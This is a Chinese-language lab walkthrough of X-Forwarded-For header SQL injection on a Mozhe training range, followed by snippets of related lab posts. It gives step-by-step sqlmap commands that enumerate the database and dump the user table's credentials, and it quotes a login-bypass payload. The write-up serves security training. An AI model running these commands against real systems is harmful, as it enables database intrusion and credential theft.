随便输入用户名密码登录，提示有ip信息，根据题目的意思是信息是根据x-forwarded-for的纸变得，所以本题存在x-forwarded-for注入
1.首先打开burp抓包，添加x-forwarded-for:*，将raw的信息存为txt文件，如下图所示，速度比较慢，请耐心等待
image.png
2.爆出当前的数据库
sqlmap -r 1.txt --current-db --batch
3.爆表名
sqlmap -r 1.txt -D webcalendar -T user --columns --batch
4.爆表中的字段
sqlmap -r 1.txt -D webcalendar -T user -C username,password --dump --batch
5.爆出两组账户密码，进行尝试组合，即可登录成功
随便输入用户名密码登录，提示有ip信息，根据题目的意思是信息是根据x-forwarded-for的纸变得，所以本题...
sqlmap --level=5没跑出来 手动判断注入点image.pngimage.pngimage.pngim...
靶场地址：https://www.mozhe.cn/bug/detail/eUM3SktudHdrUVh6eFlo...
第一次尝试PHP万能密码登录 'or1=1/* 提示： 查询失败YouhaveanerrorinyourSQLsy...
靶场地址：https://www.mozhe.cn/bug/detail/MEJyQWEyd29tN2ErT1Vo...
靶场地址:https://www.mozhe.cn/bug/detail/RktjK0hPMDJIUlZMVjVF...
墨者学院又有新题了哦，加入墨者一起利用漏洞 墨者学院总连接 www.mozhe.cn 新题又双叒叕来了 Apach...
SQL注入（墨者学院） 链接：https://www.mozhe.cn/bug/detail/82 题目环境： 打...
靶场地址：https://www.mozhe.cn/bug/detail/Ri9CaDcwWVl3Wi81bDh3...
靶场地址：https://www.mozhe.cn/bug/detail/ZEZ4REhOck9KMnVKMjFL...
本文标题：墨者学院 - X-Forwarded-For注入漏洞实战
本文链接：https://www.haomeiwen.com/subject/toszoftx.html
网友评论